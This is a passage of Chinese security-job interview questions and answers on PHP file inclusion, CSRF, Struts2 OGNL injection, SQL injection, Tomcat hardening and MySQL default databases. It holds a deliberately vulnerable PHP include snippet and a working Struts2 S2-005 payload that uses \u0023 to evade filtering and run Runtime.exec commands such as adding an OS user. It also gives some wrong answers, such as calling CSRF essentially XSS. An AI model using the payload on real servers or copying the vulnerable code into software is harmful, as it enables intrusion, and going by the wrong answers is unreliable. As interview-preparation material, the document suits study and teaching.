安全服务面试

141.php 的 LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执
行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
常见包含函数有:include()、require()
区别:
include 是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,
然后继续往下执行
require 是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,
并且终止脚本的运行
<?php
include($_GET['f']);
?>
142.CSRF 漏洞的本质是什么?
本质就是 xss
143.你都了解哪些 java 框架?
spring 和 struts2 框架
144.ibats 的参数化查询能不能有效的控制 sql 注入?有没有危险的方法可
以造成 sql 注入?
58 页 共 152 SQL 注入主要的是因为文本框的内容和 SQL 连接以后会改变 SQL 的语义,例如
文本框包含单引号什么的
参数化查询就可以将这些内容独立作为参数,本身的语句不会改变。
145.说说两次 struts2 漏洞的原理?
Struts2 的核心是使用的 webwork 框架,处理 action 时通过调用底层的
getter/setter 方法来处理 http 的参数,它将每个 http 参数声明为一个 ONGL(这
里是 ONGL 的介绍)语句。当我们提交一个 http 参数:
?user.address.city=Bishkek&user['favoriteDrink']=kumys ONGL 将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过 ParametersInterceptor(参数过滤器)来执行的,使用用户提供的 HTTP
参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork 的 ParametersInterceptor 不允许参数名中
出现“
#”字符,但如果使用了 Java 的 unicode 字符串表示\u0023,攻击者就可
以绕过保护,修改保护 Java 方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(a
aa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u
003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&
(asdf)(('\u0023rt.exit(1)')(\u0023rt\ u003d@java.lang.Ru ntime@getRunti
me()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#c
ontext['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.
Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Ru
ntime@getRuntime()))=1
OGNL 处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将 web 程序关闭
59 页 共 152 类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增
加操作系统用户,在有权限的情况下能成功(在 URL 中用%20 替换空格,%2F 替换
/)
只要有权限就可以执行任何 DOS 命令
146.ongl 在这个 payload 中起了什么作用?
Ognl 表达式语言,Struts 标签默认支持的表达式语言,必须配置 Struts 标签用,
不能离开 Struts 标签直接使用,就是说 Ognl 必须在 Struts 中使
147.\u0023 是什么字符的 16 进制编码?为什么在 payload 中要用他?
# ,在 S2-005 中可通过\u0023 绕过过滤执行
148.xss filter 在 java 程序的哪里设置?
在 web.xml 里面配置
149.说下 java 的类反射在安全上可能存在哪些问题?
可能会导致 JAVA 反序化漏洞
150.tomcat 要做哪些安全加固?
升级到最新稳定版
从监听端口上加固
仅在本地监听
如果 Tomcat 不需要对外提供服务,则监听在本地回环,前面放 Nginx。如果
需要对外提供访问,比如一个 Nginx 挂多个 Tomcat,那么在服务器上用
iptables 只允许负载均衡器的 IP 来访问
关闭 8009 端口
现在我们一般不用 Apache 通过 AJP 协议来调用 Tomcat 了,所以 AJP 端口可
以关闭。
8005 端口
查看端口占用情况
自定义错误页面,隐藏 Tomcat 信息
60 页 共 152 编辑 conf/web.xml,在标签上添加以下内容:禁用 Tomcat 管理页面
删除 webapps 目录下 Tomcat 原有的所有内容
删除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 这两
个文件
用普通用户启动 Tomcat
禁止 Tomcat 列目录
如果 tomcat 重启的话,webapps 下,你删除的后台会不会又回来?
你只是删除了后台,并没有删除 webaspps 下 war 包
151.mysql 数据库默认有哪些库?说出库的名字?
1.mysql 库,存储用户等信息
2.information_schema,存储表、锁等性能信息
3.test,mysql 自建测试库
4.performance_schema,互斥锁等信息(5.6 之前需要手动开启,从 5.6 开始
默认开启)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值